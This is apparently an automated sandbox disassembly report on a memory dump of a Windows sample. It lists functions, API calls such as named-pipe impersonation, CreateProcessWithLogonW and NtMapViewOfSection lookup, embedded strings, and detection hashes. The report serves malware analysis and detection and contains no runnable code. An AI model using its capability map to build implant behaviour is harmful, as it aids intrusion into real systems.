Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: NamedPipe$ErrorLast$CreateDisconnectFileHandleSleepStateWait
String ID:
API String ID: 3284586969-0
Opcode ID: e8d41e175776ac855918c3e71b9abf45a6f7486e17e9dc2388c0ed026aa108f1
Instruction ID: a2a5aab4758796897123a698e6082dd1bf037c42d6964077f211c45f32ba0aad
Opcode Fuzzy Hash: e8d41e175776ac855918c3e71b9abf45a6f7486e17e9dc2388c0ed026aa108f1
Instruction Fuzzy Hash: A021B531608309EBEB516BB49C86BFE379DAB85724F210427F61BE61D1EB605A404671

Function 00DBE65A Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00DBE68B
OpenProcessToken.ADVAPI32(00000000,?,00000000), ref: 00DBE6A9
GetLastError.KERNEL32 ref: 00DBE6B3

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast$OpenProcessToken
String ID:
API String ID: 2009710997-0
Opcode ID: 6fbe1575a54590432f7ee40c603fd5158cfa334ee633d133c71ad9e7b45f224a
Instruction ID: 34c7e974e89abebbf36e65a4a102aac7107a495200368bd2e52ff0d36858832b
Opcode Fuzzy Hash: 6fbe1575a54590432f7ee40c603fd5158cfa334ee633d133c71ad9e7b45f224a
Instruction Fuzzy Hash: C5218E72A50309FBEB102BE0DC4EFFE776DEB14759F180029B606D6190EB748D0096B1

Function 00DB5FB6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB5FC6
_memset.LIBCMT ref: 00DB5FD2

Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60C4
Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60CF
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60DB
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60E6
Part of subcall function 00DB6072: _rand.LIBCMT ref: 00DB6144

__snprintf.LIBCMT ref: 00DB602E
_memset.LIBCMT ref: 00DB604C
_memset.LIBCMT ref: 00DB6057

Strings

%s%s, xrefs: 00DB6021

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$__snprintf_rand
String ID: %s%s
API String ID: 4266533377-3438391663
Opcode ID: 840eae8e12f3875ca93af06726ae2f410766420f8e9aef90cd287846aa97c82c
Instruction ID: b454588293460d174e4f099a11e37bc4bcd66561a1746f94851ce9b50736d319
Opcode Fuzzy Hash: 840eae8e12f3875ca93af06726ae2f410766420f8e9aef90cd287846aa97c82c
Instruction Fuzzy Hash: DD21AE31900100BBCF25AE15DC46F9F3B75EF95710F244085FD016B256E675EE21CAB1

Function 00DB5FB6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB5FC6
_memset.LIBCMT ref: 00DB5FD2

Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60C4
Part of subcall function 00DB6072: _malloc.LIBCMT ref: 00DB60CF
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60DB
Part of subcall function 00DB6072: _memset.LIBCMT ref: 00DB60E6
Part of subcall function 00DB6072: _rand.LIBCMT ref: 00DB6144

__snprintf.LIBCMT ref: 00DB602E
_memset.LIBCMT ref: 00DB604C
_memset.LIBCMT ref: 00DB6057

Strings

%s%s, xrefs: 00DB6021

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$__snprintf_rand
String ID: %s%s
API String ID: 4266533377-3438391663
Opcode ID: d53b5cc60179d2f652661f9f5a6de1474bcf4f2c63c9259dd3fe06b4a266d57e
Instruction ID: b454588293460d174e4f099a11e37bc4bcd66561a1746f94851ce9b50736d319
Opcode Fuzzy Hash: d53b5cc60179d2f652661f9f5a6de1474bcf4f2c63c9259dd3fe06b4a266d57e
Instruction Fuzzy Hash: DD21AE31900100BBCF25AE15DC46F9F3B75EF95710F244085FD016B256E675EE21CAB1

Function 00DB7C49 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB7C57
ioctlsocket.WS2_32(?,8004667E,?), ref: 00DB7C7B
GetTickCount.KERNEL32 ref: 00DB7CB2
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 00DB7CD7

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CountTickioctlsocket
String ID:
API String ID: 3686034022-0
Opcode ID: 37490001e58b4895959c8f2fc0511d7968f5e7eeccef77e4e254016b041475c8
Instruction ID: bac6c89a52cb10e2f868b4cacc9cd6ee8ac9a65073feb511b7528ff2c0c0a44e
Opcode Fuzzy Hash: 37490001e58b4895959c8f2fc0511d7968f5e7eeccef77e4e254016b041475c8
Instruction Fuzzy Hash: C0119131514209FBDB008FA1DC44BEC7FA8EB80379F11801AF516D6290D7B4D9848BB5

Function 00DB4112 Relevance: 10.6, APIs: 7, Instructions: 58pipethreadfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB412F
GetLastError.KERNEL32 ref: 00DB4142
ReadFile.KERNEL32(?,00000001,?,00000000), ref: 00DB4170
ImpersonateNamedPipeClient.ADVAPI32 ref: 00DB4180
GetCurrentThread.KERNEL32 ref: 00DB4195
OpenThreadToken.ADVAPI32(00000000), ref: 00DB419C
DisconnectNamedPipe.KERNEL32(00DE6024), ref: 00DB41B0

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: NamedPipeThread$ClientCurrentDisconnectErrorFileImpersonateLastOpenReadToken_memset
String ID:
API String ID: 1184232734-0
Opcode ID: 680c7e651cc8fd6ea3a1ac9cce9a0873b90cd3151b74d8effa42d0db4e61c554
Instruction ID: 4b5303286dd64bd385b8a34699749d68763600282d5cbec9c467a9649f6611cd
Opcode Fuzzy Hash: 680c7e651cc8fd6ea3a1ac9cce9a0873b90cd3151b74d8effa42d0db4e61c554
Instruction Fuzzy Hash: 9D117031A41359EFDB10AF64ED85AAA3BBCEB14799F044022F606D6263DB30CD449B70

Function 00DBEC6F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DBEC76

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

_malloc.LIBCMT ref: 00DBEC83
_malloc.LIBCMT ref: 00DBEC9E
__snprintf.LIBCMT ref: 00DBECB1
_malloc.LIBCMT ref: 00DBECD0

Strings

HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d, xrefs: 00DBECA4

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap__snprintf
String ID: HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d
API String ID: 3929630252-2739389480
Opcode ID: 409e92a814367b8a44f2dd3cf8f0d5ff9fba6d53ced56c44a2b28af9f2822140
Instruction ID: 051b612018fe3267caa4b3f4cc85ef2a6e6693f8a0591b3780b8db4d887ed6de
Opcode Fuzzy Hash: 409e92a814367b8a44f2dd3cf8f0d5ff9fba6d53ced56c44a2b28af9f2822140
Instruction Fuzzy Hash: 4C016D70900346AED711AF7AC885E96BBE8EF44750B10882DF489C7281EE74D9048BB4

Function 00DB8E51 Relevance: 9.1, APIs: 6, Instructions: 113networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB8E75

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

htonl.WS2_32(?), ref: 00DB8EA1
recvfrom.WS2_32(00000000,?,000FFFFC,00000000,?,?), ref: 00DB8ED0
WSAGetLastError.WS2_32 ref: 00DB8EDB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: AllocateErrorHeapLast_mallochtonlrecvfrom
String ID:
API String ID: 987280018-0
Opcode ID: 4943e5c7a7a6126ce8bb536adaecf4282858c5e75b959dc0af752a475ff7b00c
Instruction ID: c7929eb3038dc7345d2fd64529fbf0c49abd800aa3799337ea435c9cee567cc6
Opcode Fuzzy Hash: 4943e5c7a7a6126ce8bb536adaecf4282858c5e75b959dc0af752a475ff7b00c
Instruction Fuzzy Hash: 0241D671800204EFD7209F64DC01BBA7BBEEF48364F14811AF512E32A1DB309944EB74

Function 00DB3741 Relevance: 9.1, APIs: 6, Instructions: 103sleeppipeCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00DB37B7
Sleep.KERNEL32(000003E8), ref: 00DB37CD
GetLastError.KERNEL32 ref: 00DB37D9
FlushFileBuffers.KERNEL32(?), ref: 00DB384A
DisconnectNamedPipe.KERNEL32(?), ref: 00DB3853
Sleep.KERNEL32(000003E8), ref: 00DB3866

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLastSleep$BuffersDisconnectFileFlushNamedPipe
String ID:
API String ID: 1974096663-0
Opcode ID: 025b19708d78a27d441bb2671cdb6a4e8a64585d7640623aa128e677628c9b55
Instruction ID: 203481af661b36872f218c4ada17c487b8556bc08f153c7260eeea54ebb49ce8
Opcode Fuzzy Hash: 025b19708d78a27d441bb2671cdb6a4e8a64585d7640623aa128e677628c9b55
Instruction Fuzzy Hash: 0C3108B6D00219EBDB01EBA4DC86AEEB7B8EB04714F150066E506E6250DB31AF44DBB1

Function 00DBCB1C Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

__time64.LIBCMT ref: 00DBCB28

Part of subcall function 00DC9E8E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00DBCB2D,00000000,00000080,?,?,?,00DB13F0,?,00000000,00000000,00000000,00000000), ref: 00DC9E99
Part of subcall function 00DC9E8E: __aulldiv.LIBCMT ref: 00DC9EB9

Part of subcall function 00DC8C0A: __getptd.LIBCMT ref: 00DC8C0F

_malloc.LIBCMT ref: 00DBCB71
_memset.LIBCMT ref: 00DBCB8F
_strtok.LIBCMT ref: 00DBCBB4
_strtok.LIBCMT ref: 00DBCBD7
_strtok.LIBCMT ref: 00DBCBE6

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _strtok$Time$FileSystem__aulldiv__getptd__time64_malloc_memset
String ID:
API String ID: 3072773955-0
Opcode ID: d453ffc350d39557901464439530faad7ce2d124d2d95a94970e1976643b44e8
Instruction ID: 3182926ddb897a38bf03a84c4be00b3b8b6d0f680a5de58a4967242e6185536b
Opcode Fuzzy Hash: d453ffc350d39557901464439530faad7ce2d124d2d95a94970e1976643b44e8
Instruction Fuzzy Hash: 8521A0B1504705AFD719DF38D886EFB7BE9EB05354B00042DF89AC7241EA31E9098B75

Function 00D7BF1C Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

__time64.LIBCMT ref: 00D7BF28

Part of subcall function 00D8928E: __aulldiv.LIBCMT ref: 00D892B9

Part of subcall function 00D8800A: __getptd.LIBCMT ref: 00D8800F

_malloc.LIBCMT ref: 00D7BF71
_memset.LIBCMT ref: 00D7BF8F
_strtok.LIBCMT ref: 00D7BFB4
_strtok.LIBCMT ref: 00D7BFD7
_strtok.LIBCMT ref: 00D7BFE6

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _strtok$__aulldiv__getptd__time64_malloc_memset
String ID:
API String ID: 512601900-0
Opcode ID: 48720511a30ea9561bc50dee288fc5aadba22df75b4c1b9df4666e77f59b8890
Instruction ID: 2d4d1a311c9f58b4c460af336a4a6a61fa8c15b1a6fae911566a4cd533c52568
Opcode Fuzzy Hash: 48720511a30ea9561bc50dee288fc5aadba22df75b4c1b9df4666e77f59b8890
Instruction Fuzzy Hash: 8F21D2B51047056FD719EF38D896AB7B7E9EF05710B00442EF89AC7241EB31E8058B71

Function 00DB94FD Relevance: 9.1, APIs: 6, Instructions: 91threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00DB951B
UpdateProcThreadAttribute.KERNEL32(?,00000000,00020000,?,00000004,00000000,00000000), ref: 00DB9549
GetLastError.KERNEL32 ref: 00DB9553
GetCurrentProcess.KERNEL32(00000000,00000000,?), ref: 00DB9588
GetCurrentProcess.KERNEL32(00000000,?,?), ref: 00DB95AA
GetCurrentProcess.KERNEL32(?,?,?), ref: 00DB95C3

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ErrorLast$AttributeProcThreadUpdate
String ID:
API String ID: 1014270282-0
Opcode ID: 3acba6e7910b979eac7d9ad6a5a76469889a1c6d24a557577db3b0499bf93150
Instruction ID: 6f983b5b9b4c613e8e8b06d7b9c6411864d530be2fb46cbd79f42d1337a3a51e
Opcode Fuzzy Hash: 3acba6e7910b979eac7d9ad6a5a76469889a1c6d24a557577db3b0499bf93150
Instruction Fuzzy Hash: 4B213BB6644345FFEB25AFB49C5ADAA77BDEB08354B14081DBA07C2241EA70E9108630

Function 00D752EC Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D752FC
_memset.LIBCMT ref: 00D75308

Part of subcall function 00D75472: _malloc.LIBCMT ref: 00D754C4
Part of subcall function 00D75472: _malloc.LIBCMT ref: 00D754CF
Part of subcall function 00D75472: _memset.LIBCMT ref: 00D754DB
Part of subcall function 00D75472: _memset.LIBCMT ref: 00D754E6
Part of subcall function 00D75472: _rand.LIBCMT ref: 00D75544

__snprintf.LIBCMT ref: 00D75359
__snprintf.LIBCMT ref: 00D75371
_memset.LIBCMT ref: 00D75390
_memset.LIBCMT ref: 00D7539B

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$__snprintf_malloc$_rand
String ID:
API String ID: 1876596931-0
Opcode ID: e9ed54a4a77dd13d35101f88d34e502c55548b4bb63c99b13df0d58da31436f4
Instruction ID: 725fd23e788a829c402276a8450ca6f1e775ae81624473a41dd206a5f7a64cd3
Opcode Fuzzy Hash: e9ed54a4a77dd13d35101f88d34e502c55548b4bb63c99b13df0d58da31436f4
Instruction Fuzzy Hash: E1213871900100BBDF19AF14DC82F5B3A69EF95750F288094FD046B2A6E6B1ED21CBB5

Function 00DB71C8 Relevance: 9.1, APIs: 6, Instructions: 62pipefileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00DB72A9,00DB37B2,00000000,?,00DB37B2,?), ref: 00DB71EC
WaitNamedPipeA.KERNEL32(00DB37B2,00002710), ref: 00DB7201
CreateFileA.KERNEL32(00DB37B2,C0000000,00000000,00000000,00000003,00000000,00000000,74DF23A0,-0000EA60,?,?,?,00DB72A9,00DB37B2,00000000), ref: 00DB7219
SetNamedPipeHandleState.KERNEL32(?,00DB37B2,00000000,00000000,?,00DB72A9,00DB37B2,00000000,?,00DB37B2,?), ref: 00DB722F
DisconnectNamedPipe.KERNEL32(?,?,00DB72A9,00DB37B2,00000000,?,00DB37B2,?), ref: 00DB723B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: NamedPipe$CreateDisconnectErrorFileHandleLastStateWait
String ID:
API String ID: 927366879-0
Opcode ID: 12909c5420fcdafc485a1b38c53e1d7588b9f05aea3928dc37c0d276ea22c319
Instruction ID: 5d879dbda8bca38238056e8fd721918c3aea5e2bb28941ac8e71e6d78aef1717
Opcode Fuzzy Hash: 12909c5420fcdafc485a1b38c53e1d7588b9f05aea3928dc37c0d276ea22c319
Instruction Fuzzy Hash: 93115E71218214FFEB105B64DC09FBB3BADEF86715F10056BF916D61A0E7709D408A75

Function 00DB4B7A Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130processCOMMON

Download Yara Rule

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

_memset.LIBCMT ref: 00DB4BDD
GetStartupInfoA.KERNEL32(?), ref: 00DB4BF5
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000001,00000000,00000000,00000000,00000000,00000000,?,00DB32CF), ref: 00DB4C8F
GetLastError.KERNEL32 ref: 00DB4C9E

Part of subcall function 00DB26E2: _vswprintf_s.LIBCMT ref: 00DB26FE

Strings

%s as %s\%s: %d, xrefs: 00DB4CAE

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc$CreateErrorInfoLastLogonProcessStartupWith_memset_vswprintf_s
String ID: %s as %s\%s: %d
API String ID: 709525413-816037529
Opcode ID: c596897c02fba1d8616f7f351f8061e9721a8c8fe42293f6402d3ecdafc7190b
Instruction ID: a3b4c1fca304884cd97fce5b0d836c5f3b7b681356d920752c3091cc7269ca03
Opcode Fuzzy Hash: c596897c02fba1d8616f7f351f8061e9721a8c8fe42293f6402d3ecdafc7190b
Instruction Fuzzy Hash: E3413471D00209BADF01AFA9DC85EEFBFB9EF89750F10401AF605A6261DB718A10DB71

Function 00DB3927 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 00DB3982
htonl.WS2_32(?), ref: 00DB398D
_malloc.LIBCMT ref: 00DB39A4

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

_memset.LIBCMT ref: 00DB39FD

Part of subcall function 00DBC0FD: __snprintf.LIBCMT ref: 00DBC13C
Part of subcall function 00DBC0FD: __snprintf.LIBCMT ref: 00DBC14E

Strings

zyxwvutsrqponmlk, xrefs: 00DB39E9

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __snprintfhtonl$AllocateHeap_malloc_memset
String ID: zyxwvutsrqponmlk
API String ID: 1734027086-3884694604
Opcode ID: 514e3753d2bd9c259749d215b49606ed3ef850e240ef56736913425497327ee4
Instruction ID: 67a24d2acceda025e2f6b3b31f1d1a98e1ff00740470014dce36a706beb22cfe
Opcode Fuzzy Hash: 514e3753d2bd9c259749d215b49606ed3ef850e240ef56736913425497327ee4
Instruction Fuzzy Hash: EC21F862E00611F6DB207AB59C82BEF7AA8EF45320F240169F947B7283E9658A0156B5

Function 00DB3927 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 00DB3982
htonl.WS2_32(?), ref: 00DB398D
_malloc.LIBCMT ref: 00DB39A4

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00DEFFA0,?,00DB106E,00004008,?,?,?,?,00000003,?,70207369), ref: 00DC8876

_memset.LIBCMT ref: 00DB39FD

Part of subcall function 00DBC0FD: __snprintf.LIBCMT ref: 00DBC13C
Part of subcall function 00DBC0FD: __snprintf.LIBCMT ref: 00DBC14E

Strings

zyxwvutsrqponmlk, xrefs: 00DB39E9

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __snprintfhtonl$AllocateHeap_malloc_memset
String ID: zyxwvutsrqponmlk
API String ID: 1734027086-3884694604
Opcode ID: ad366776143dd28f26c6a46f52a6100db2ff96930d8d0fef39d2a1d0d8ceeea0
Instruction ID: 67a24d2acceda025e2f6b3b31f1d1a98e1ff00740470014dce36a706beb22cfe
Opcode Fuzzy Hash: ad366776143dd28f26c6a46f52a6100db2ff96930d8d0fef39d2a1d0d8ceeea0
Instruction Fuzzy Hash: EC21F862E00611F6DB207AB59C82BEF7AA8EF45320F240169F947B7283E9658A0156B5

Function 00DB690F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtMapViewOfSection,00000000,?,00000000,00DB65ED,00000000,00000000,00000000), ref: 00DB693C
GetProcAddress.KERNEL32(00000000), ref: 00DB6943
GetLastError.KERNEL32 ref: 00DB69B6

Part of subcall function 00DBD9B2: GetCurrentProcess.KERNEL32(000F003F,00000000,00000000,?,00000000,00000001,00000000,D78B5955,00000000,?,?,00DB1FCE,00000000,000F003F,?,00000000), ref: 00DBDA21

Part of subcall function 00DBDA6F: GetCurrentProcess.KERNEL32(00000080,?,00DB1D9E,?,00000000,00000000,00000001,?,?,00DBDE6B,00000000,00000001,00000000,00000000,00000080,00DB16C4), ref: 00DBDAAF

Strings

NtMapViewOfSection, xrefs: 00DB6932
ntdll.dll, xrefs: 00DB6937

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CurrentProcess$AddressErrorHandleLastModuleProc
String ID: NtMapViewOfSection$ntdll.dll
API String ID: 1006775078-3170647572
Opcode ID: 29413c21cf015658473e04e7f3fc3de74da2b1e964dc8f3f4121e26d4ac5bcb0
Instruction ID: 995966c726870662a57c23daeadeacdebacf52557275ad081aa40bcf98448959
Opcode Fuzzy Hash: 29413c21cf015658473e04e7f3fc3de74da2b1e964dc8f3f4121e26d4ac5bcb0
Instruction Fuzzy Hash: A211A276900318FFDB107BE49C4ADEE3B69EB48B60F24041AF616D6181EA34C9458BB4

Function 00DB97C6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB97CE
__snprintf.LIBCMT ref: 00DB9801
__snprintf.LIBCMT ref: 00DB981A

Strings

%s&%s=%s, xrefs: 00DB9811
?%s=%s, xrefs: 00DB97F8

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __snprintf$_memset
String ID: %s&%s=%s$?%s=%s
API String ID: 444161222-3403399194
Opcode ID: d241f453815a1fbcc23cc37b66e79076997938f7731550cc7e5f521cc009b867
Instruction ID: e885b87c2f634e1c4f006ba218a90456a791e56a47f31f716ae71b394039dbb8
Opcode Fuzzy Hash: d241f453815a1fbcc23cc37b66e79076997938f7731550cc7e5f521cc009b867
Instruction Fuzzy Hash: C501D1B1104240EBDB11AE50CC81F9BB768EF85710F844459FA426B157D631ED11DB72

Function 00D7071C Relevance: 7.8, APIs: 5, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D775BC: _malloc.LIBCMT ref: 00D775C2
Part of subcall function 00D775BC: _malloc.LIBCMT ref: 00D775D2

_malloc.LIBCMT ref: 00D707B2

Part of subcall function 00D87BFF: __FF_MSGBANNER.LIBCMT ref: 00D87C22
Part of subcall function 00D87BFF: __NMSG_WRITE.LIBCMT ref: 00D87C29

Part of subcall function 00D7BF1C: __time64.LIBCMT ref: 00D7BF28
Part of subcall function 00D7BF1C: _malloc.LIBCMT ref: 00D7BF71
Part of subcall function 00D7BF1C: _memset.LIBCMT ref: 00D7BF8F
Part of subcall function 00D7BF1C: _strtok.LIBCMT ref: 00D7BFB4
Part of subcall function 00D7BF1C: _strtok.LIBCMT ref: 00D7BFE6

Part of subcall function 00D7503E: __time64.LIBCMT ref: 00D7504B

_malloc.LIBCMT ref: 00D70886
__snprintf.LIBCMT ref: 00D708E8
__snprintf.LIBCMT ref: 00D70907
__snprintf.LIBCMT ref: 00D70925

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc$__snprintf$__time64_strtok$_memset
String ID:
API String ID: 1029070994-0
Opcode ID: e62a893cc577735261ef7e8c98a4b6d1345dbb26b02058c741189192587c7579
Instruction ID: 907c56e80800eca6ef5cfeaa85689010c8be0a398fbc72828ebc8c39a68915b0
Opcode Fuzzy Hash: e62a893cc577735261ef7e8c98a4b6d1345dbb26b02058c741189192587c7579
Instruction Fuzzy Hash: F691E571504340ABE6217B749C07B2F7AA5EF85720F14891EF68C9A1D3FB75CC408AB6

Function 00D7B75D Relevance: 7.8, APIs: 5, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D775BC: _malloc.LIBCMT ref: 00D775C2
Part of subcall function 00D775BC: _malloc.LIBCMT ref: 00D775D2

_memset.LIBCMT ref: 00D7B7CE

Part of subcall function 00D7BBBA: _memset.LIBCMT ref: 00D7BCB6

_malloc.LIBCMT ref: 00D7B7E1

Part of subcall function 00D87BFF: __FF_MSGBANNER.LIBCMT ref: 00D87C22
